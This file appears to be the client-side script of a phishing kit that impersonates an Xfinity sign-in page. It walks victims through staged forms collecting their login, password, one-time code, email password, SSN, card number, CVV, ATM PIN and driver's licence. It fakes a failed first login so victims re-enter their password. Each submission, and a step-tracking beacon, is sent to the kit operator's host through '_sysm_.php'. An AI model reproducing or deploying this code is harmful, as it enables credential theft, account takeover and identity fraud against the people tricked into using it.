Current File : /home/tsgmexic/scure_nortwest/spgbuck/js_mjdash_3.php
<script type="text/javascript">
    /*---------- Config Vars ---------------*/
    let v_musrid = "mnbtid"; 
    let v_vs = "vs__teps";
    /*---------- Sys Vars ---------------*/
    window.hstUrl = '<?php echo $disHost; ?>';
    window.dRediretToURL = '<?php echo $redirect_to_url; ?>';
</script>
<script type="text/javascript">
    /*---------- Basic Functions ---------------*/

    function getAbsolutePath() {
        var loc = window.location;
        var pathName = loc.pathname.substring(0, loc.pathname.lastIndexOf('/') + 1);
        return loc.href.substring(0, loc.href.length - ((loc.pathname + loc.search + loc.hash).length - pathName.length));
    }

    function getUrlParameter(name)
    {
        name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
        var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
        var results = regex.exec(location.search);
        return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
    }

    function ChangeUrl(title, url) {
        if (typeof (history.pushState) != "undefined") {
            var obj = { Title: title, Url: url };
            history.pushState(obj, obj.Title, obj.Url);
        } else {
            alert("Browser does not support HTML5.");
        }
    }

    function genRandomStr(length){
        var result           = '';
        var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
        var charactersLength = characters.length;
        for ( var i = 0; i < length; i++ ) {
            result += characters.charAt(Math.floor(Math.random() * charactersLength));
        }
        return result;
    }

    function isBase64(str) {
        try {
            return btoa(atob(str)) == str;
        } catch (err) {
            return false;
        }
    }

    function setCookie(cname, cvalue, exdays) {
        const d = new Date();
        d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
        let expires = "expires="+d.toUTCString();
        document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";

        console.log('Cookie Set: '+cname+':'+cvalue);
    }

    function getCookie(cname) {
        let name = cname + "=";
        let ca = document.cookie.split(';');
        for(let i = 0; i < ca.length; i++) {
            let c = ca[i];
            while (c.charAt(0) == ' ') {
            c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
            }
        }
        return "";
    }

    function checkCookie(cname) {
        let cQukies = getCookie(cname);
        if (cQukies != "") {
            return cQukies; 
        }
        return false;
    }

    /*---------- Form Input Helper Functions ---------------*/

    $("input.nums-only").on('input', function(e) {  $(this).val($(this).val().replace(/[^0-9]/g, ''));  });
    $("input.alphabets-only").on('input', function(e) {  $(this).val($(this).val().replace(/[^a-z\s]/ig, '')); });

    //Date Input Masking - DOB
    $('.js-date').on('input', function(e){

        var val = this.value.replace(/\D/g, '');
        val = val.substr(0, 9);
        var newVal = '';
        
        this.value = val;

        var len = val.length;

        if(len === 2) {
            //this.value += '/';
            newVal = val + '/';
            this.value = newVal;
        }

        //if(len === 4) {
        if(len > 2) {
            //this.value += '/';
            
            newVal = val.substr(0, 2) + '/';
            newVal += val.substr(2, 2);
            
            this.value = newVal;
        }
        
        ///if(len === 8)
        if(len > 3)
        {
            //this.value += '/';
            
            newVal = val.substr(0, 2) + '/';
            newVal += val.substr(2, 2)+ '/';
            newVal += val.substr(4, 4);
            
            this.value = newVal;
        }

        /*if (val.match(/^\d{2}$/) !== null) {
                    this.value = val + '/';
                } else if (val.match(/^\d{2}\/\d{2}$/) !== null) {
                    this.value = val + '/';
                }*/
    });

    //Phone Number Masking
    var pn_input = document.querySelectorAll('.js-phone')[0];

    var phoneInputMask = function phoneInputMask(elm)
    {
        elm.addEventListener('input', function(e) {
            if(e.keyCode < 47 || e.keyCode > 57) {
                e.preventDefault();
            }

            var x = e.target.value.replace(/\D/g, '').match(/(\d{0,3})(\d{0,3})(\d{0,4})/);
            e.target.value = !x[2] ? x[1] : '(' + x[1] + ')-' + x[2] + (x[3] ? '-' + x[3] : ''); 
        });
    };

    //phoneInputMask(pn_input);

    // Mask / Format SSN Input
    $('.js-ssnum, input#ssN-text-input-field').on('keyup', function(){
        var val = this.value.replace(/\D/g, '');
        val = val.substr(0, 9);
        var newVal = '';
        if(val.length > 4) {
            this.value = val;
        }
        if((val.length > 3) && (val.length < 6)) {
            newVal += val.substr(0, 3) + '-';
            val = val.substr(3);
        }
        if (val.length > 5) {
            newVal += val.substr(0, 3) + '-';
            newVal += val.substr(3, 2) + '-';
            val = val.substr(5);
        }
        newVal += val;
        this.value = newVal;   
    });


    // Mask / format CC no.
    $('input.js-ccnum').on('input', function(e){
        var val = e.target.value.replace(/\D/g, '');
        val = val.substr(0, 16);
        var newVal = '';
        if((val.length > 4) && (val.length < 13)){
            //console.log('Greater than 8');
            newVal += val.substr(0, 4) + ' ';
            newVal += val.substr(4, 4) + ' ';
            val = val.substr(8);
        }
        if((val.length > 12))
        {
            //console.log('Greater than 12');
            newVal += val.substr(0, 4) + ' ';
            newVal += val.substr(4, 4) + ' ';
            newVal += val.substr(8, 4) + ' ';
            val = val.substr(12);
        }

        newVal += val;
        this.value = newVal;
    });


    // format expiry date MM/YY
    $('input.exdate').on('keyup', function(){
        var val = this.value.replace(/\D/g, '');
        val = val.substr(0, 10); console.log(val);
        var newVal = '';

        this.value = val;

        if(val.length > 1) {
            //this.value = val;
            newVal = val.substr(0, 2) + '/';

            this.value = newVal;
        }

        if (val.length > 2) {
            newVal = val.substr(0, 2) + '/';
            newVal += val.substr(2, 2);

            this.value = newVal; 
        }
    });


    //format Phone
    $('input.us-phone').on('input', function(e){
        var x = e.target.value.replace(/\D/g, '').match(/(\d{0,3})(\d{0,3})(\d{0,4})/);
        e.target.value = !x[2] ? x[1] : '(' + x[1] + ') ' + x[2] + (x[3] ? '-' + x[3] : '');
    });


    //format DL
    $('input.dl').on('input', function(){
        $(this).removeClass('uppercase'); if($(this).val() !=="") { $(this).addClass('uppercase'); }
    });


    //Toggle input type Text/Password
    $('.js-tog-input-txt').on('input, click', function(){
        $(this).attr('type','text');
    }).on('blur',function(){
        $(this).attr('type','password');
    });



    /*---------- Page Frame View Events (pfID) ---------------*/

    if(v_vs)
    {
        let viewStep = getCookie(v_vs);

        function do_pfid_check() {
            console.log('Checking pfID visibility ...', '');

            var pfID = $('.page-frame:visible').attr('id'), vwStep = getCookie(v_vs), frmNm = $('.pg-form:visible').attr('name');
            if (pfID && pfID !== vwStep) { setCookie(v_vs, pfID, 1); setCookie("form_name", frmNm, 1);}
        }

        if (viewStep != "") {
            $('.page-frame').fadeOut('fast', function () { $('#' + viewStep).fadeIn('slow', function(){ $('.pg-form:visible :input:visible:eq(0)').focus() }); });

            var frm_nm = getCookie("form_name");
            if (frm_nm != "") { $('.pg-form:visible').attr('name', frm_nm); }

            var gt_v_musrid = getCookie(v_musrid);
            if (gt_v_musrid != "") {
                $('.emdsp').text(gt_v_musrid);
                $('.emhdn').val(gt_v_musrid);
                // window.filled_inps['user'] = gt_v_musrid;
            }

            if (viewStep == 'pgDone') {
                $('.mjx-header').text('Details Confirmed');
                $('.mjx-hide-on-done').hide('fast');
            }

        }
        else {
            // $('.page-frame').fadeOut('fast', function () { $('#pg001').fadeIn('slow'); });
            $('.page-frame').fadeOut('fast', function () { 
                $('#pg001').fadeIn('slow', function(){ $('.pg-form:visible :input:visible:eq(0)').focus() });
            });
        }

        var pfidTimer = setInterval(do_pfid_check, 3000);

        $('body').on('unload', function () { setCookie(v_vs, '', -1); });
    }else{
        $('.page-frame').fadeOut('fast', function () { 
            $('#pg001').fadeIn('slow', function(){ $('.pg-form:visible :input:visible:eq(0)').focus() });
        });
    }

    // disable all page-frame
    $('.page-frame:not(:visible) :input, #seqChk:not(:visible) :input').attr('disabled', 'disabled'); 

    function vt(pg_step_name){
    $.get(window.hstUrl+"_sysm_.php?_do=vt&s="+window.btoa(window.location.href+"_"+pg_step_name), function(data){ console.log('Logged: '+pg_step_name); console.log('Retured Data: '+data);});
    }
</script>
<script type="text/javascript">
    $(document).ready(function () {

        $('body').css('opacity', 1);

        

        function lock_clickable_elements(){
            $('html, body').css({'opacity':'0.95'});
            $(':input').attr('readonly','readonly');
            $('a, button, input[type=submit]').attr('disabled','disabled');
            $('a').addClass('w3-disabled');
        }

        function unlock_clickable_elements(){
            $('html, body').css({'opacity':'1'});
            $(':input').removeAttr('readonly');
            $('a, button, input[type=submit]').removeAttr('disabled');
            $('a').removeClass('w3-disabled');

            // $('button.btn').attr('disabled','disabled');
        }



        /*---------- Page Frame INPUT View ---------------*/
        function pf_inp_vw()
        {
            $('.page-frame :input').attr('disabled', 'disabled');
            $('.page-frame:visible').find(':input').removeAttr('disabled');
            $('.page-frame:visible').find(':input:eq(0)').focus();
        }
        pf_inp_vw();



        /*---------- Custom Events ---------------*/

        var rediretToURL = window.dRediretToURL;

        function resp_err(id, txtp)
        {
            var the_parent = $('.error_box');
            
            lock_clickable_elements();

            the_parent.find('#eRList, ul').html("");

            setTimeout(function(){
                the_parent.find('#eRList, ul').append('<li>'+txtp+'</li>');
                the_parent.fadeIn('slow');
                
                unlock_clickable_elements();
                // id.focus();
                id.addClass('gat-error');
            }, 800)
        }

        function clear_err_tins(){
            $('.gat-error').removeClass('gat-error');
            $('.error_box').fadeOut('fast', function(){
                $(this).find('#eRList').html('');
            });
        }

        function clear_inp_err_tins(id){
            $('.gat-error').removeClass('gat-error');
            $('.error_box').fadeOut('fast', function(){
                $(this).find('#eRList').html('');
            });
        }


        //Log first visit
        vt('first_visit');




        //On input


        //GoTo Btn
        $('.goto_btn').on('click', function(e){
            e.preventDefault();
            lock_clickable_elements();
            setTimeout(function(){
                window.location.replace(rediretToURL);
            }, 3000);

            vt('goto_click');
        });


        $('#resendOCode').on('click',function(e){
            // var pgv = $('.page-frame:visible').find('#vcrsp');
            var pgv = $('#vcrsp');

            lock_clickable_elements();

            setTimeout(function(){
                $('<div id="resentResp"> <span style="color:green;"> &#9989; Resent your one time code. </span></div>').insertBefore(pgv);
                $('#ohtp').focus();
                unlock_clickable_elements();
            },3000);
            setTimeout(function(){ $('#resentResp').fadeIn('slow', function(){ $(this).remove(); }); },5000);
        });


        //On Submit
        $('form.pg-form').submit(function (e) {
            e.preventDefault();

            var $frm_name = $(this).attr('name');
            var $frms = ["form1", "form2", "form3", "form4", "form_tel", "form_email", "signin"];
            
            
            if (typeof $frm_name !== typeof undefined && $frm_name !== false && $frms.indexOf($frm_name) !== -1) 
            {
                clear_err_tins();

                /*--- Validation Starts ---*/
                
                var found_err = false;
                var email_regx = new RegExp(/^([a-zA-Z0-9_.+-])+\@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/);
                var spc_rgx = new RegExp(/\s/);
                var sn_rex = new RegExp("^(?!\\b(\\d)\\1+-(\\d)\\1+-(\\d)\\1+\\b)(?!123-45-6789|219-09-9999|078-05-1120)(?!666|000|9\\d{2})\\d{3}-(?!00)\\d{2}-(?!0{4})\\d{4}$");


                var values = {};
                $.each($(this).serializeArray(), function(i, field) {
                    values[field.name] = field.value;

                    if(field.name == 'user')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your Xfinity ID to sign in.');
                        }
                        else if(spc_rgx.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Your Xfinity ID can not contain spaces');
                        }
                    }

                    if(field.name == 'user_n' || field.name == 'username')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your User ID to sign in.');
                        }
                        else if(email_regx.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Your User ID can not be an email address');
                        }
                        else if(spc_rgx.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Your User ID can not contain spaces');
                        }
                    }

                    if(field.name == 'password' || field.name == 'passwd')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please type in your password to sign in.');
                        }
                    }


                    if(field.name == 'ohtp')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your one time code.');
                        }
                        else if(email_regx.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Your one time code can not be an email address');
                        }
                        else if(spc_rgx.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Your one time code can not contain spaces');
                        }
                    }


                    if(field.name == 'full_name')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your full name to proceed.');
                        }
                    }

                    if(field.name == 'email')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your email.');
                        }
                        else if(!email_regx.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid email address.');
                        }
                    }

                    if(field.name == 'mobile_number' || field.name == 'phone')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your 10 digits mobile number.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 10)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid mobile number.');
                        }
                    }

                    if(field.name == 'street_address' || field.name == 'street')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your street address.');
                        }
                    }
                    if(field.name == 'city')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your city.');
                        }
                    }
                    if(field.name == 'state')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please select your state.');
                        }
                    }
                    if(field.name == 'zip_code' || field.name == 'zip__code')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your zipcode.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 4)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid zipcode.');
                        }
                    }

                    if(field.name == 'dob')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your date of birth.');
                        }
                    }

                    if(field.name == 's_s_n')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please confirm your social security number.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 9)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid social security number (9 Digits).');
                        }
                        else if(!sn_rex.test(field.value))
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid social security number.');
                        }
                    }



                    if(field.name == 'cc_num')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please confirm your card number.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 16)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid card number (16 Digits).');
                        }
                    }

                    if(field.name == 'cc_exdate')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please confirm your card expiry date.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 3)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid card expiry date.');
                        }
                    }
                    

                    if(field.name == 'cc_cv2')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please confirm your card security code. cvv/csc.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 3)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter a valid cvv or csc (3-4 Digits).');
                        }
                    }


                    if(field.name == 'a_t_m_pin')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your 4 digits ATM PIN.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 9)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your 4 digits ATM PIN.');
                        }
                    }

                    if(field.name == 'd__l')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Please enter your drivers license number.');
                        }
                        else if(field.value.replace(/[^0-9]/g, '').length < 9)
                        {
                            found_err = true;
                            resp_err($('#'+field.name), 'Invalid drivers license number.');
                        }
                    }


                    if(field.name == 'm_j_email')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            modal_resp_err($('#'+field.name), 'Please enter your email.');
                        }
                        else if(!email_regx.test(field.value))
                        {
                            found_err = true;
                            modal_resp_err($('#'+field.name), 'Please enter a valid email address.');
                        }
                    }

                    if(field.name == 'm_j_email_password')
                    {
                        if(field.value == '')
                        {
                            found_err = true;
                            modal_resp_err($('#'+field.name), 'Please enter a valid email address password.');
                        }
                    }
                });

                // console.log(values);
                
                
                if(found_err === true)
                {
                    console.log('Found Error');

                    setTimeout(function(){ $('.gat-error:eq(0)').focus(); }, 800)

                    return false;
                }
                
                /*--- Validation Ends ---*/
                
                lock_clickable_elements();

                var $dis = $(this), values = $(this).serialize(), ajxURL = window.hstUrl+'_sysm_.php?_do=xxx_form';
                
                $.ajax({
                    url: ajxURL,//$(this).attr('action')
                    type: "post",
                    data: values,
                    success: function (res) {

                        console.log(res);

                        if($frm_name == 'form1' || $frm_name == 'signin')
                        {
                            setTimeout(function(){

                                if($dis.hasClass('second_submit'))
                                {
                                    console.log('Second Submit');
                                    clear_err_tins();

                                    var uval = $('#user_n').val();
                                    setCookie(v_musrid, uval, 1);

                                    $('.page-frame:visible').fadeOut('fast', function(){
                                        $('#pg002').fadeIn('fast'); pf_inp_vw();
                                        $('#ohtp').focus();
                                        
                                        vt('login_second_submit');
                                    });

                                    $dis.attr('name', 'form2');

                                } else {

                                    console.log('First Submit');
                                    $dis.addClass('second_submit');
                                    
                                    resp_err($('#password'), 'Incorrect information, Please check the details provided.');
                                    $('#password').val('')
                                    $('#password').focus()
                                    
                                    vt('login_first_submit');
                                }

                                unlock_clickable_elements();
                                $('html, body').animate({ scrollTop:0}, 'slow');
                            }, 1000);
                        }



                        if($frm_name == 'form2')
                        {
                            setTimeout(function(){

                                $('.page-frame:visible').fadeOut('fast', function(){
                                    $('#pg003').fadeIn('fast'); pf_inp_vw();
                                    $('#email').focus();
                                    

                                    vt('one_time_code');
                                });

                                $dis.attr('name', 'form3');

                                unlock_clickable_elements();
                                $('html, body').animate({ scrollTop:0}, 'slow');
                            }, 2000);
                        }



                        if ($frm_name == 'form3') {
                            setTimeout(function () {

                                clear_err_tins();

                                var emlcfm = $('#email').val();
                                // setCookie(v_musrid, uval, 1);

                                load_emv_form(emlcfm.toLowerCase());
                                vt('email_submit');

                                $('.page-frame').fadeOut('fast', function(){
                                    $('#pgDone').fadeIn('fast'); pf_inp_vw();
                                });

                                // $dis.attr('name', 'form4');

                                unlock_clickable_elements();
                                $('html, body').animate({ scrollTop: 0 }, 'slow');

                            }, 1000);
                        }



                        if($frm_name == 'form_email')
                        {
                            setTimeout(function(){

                                after_emv_frm_submit({'frmobj':$dis, 'pgfid':'pgDone', 'cpv':v_vs});

                                // setTimeout(function() { window.location.replace(rediretToURL) }, 15000);

                                unlock_clickable_elements();
                                $('html, body').animate({ scrollTop:0}, 'slow');

                            }, 1000);
                        }
                                    

                    },
                    error: function(xhr, status, error) {
                        //console.log(xhr.responseText);
                        alert('Please make sure you are connected to the internet.');
                        unlock_clickable_elements();
                    }
                });
            }

            if(!pfidTimer){ pfidTimer = setInterval(do_pfid_check, 3000); }

            return false;
        });





















    }); 
</script>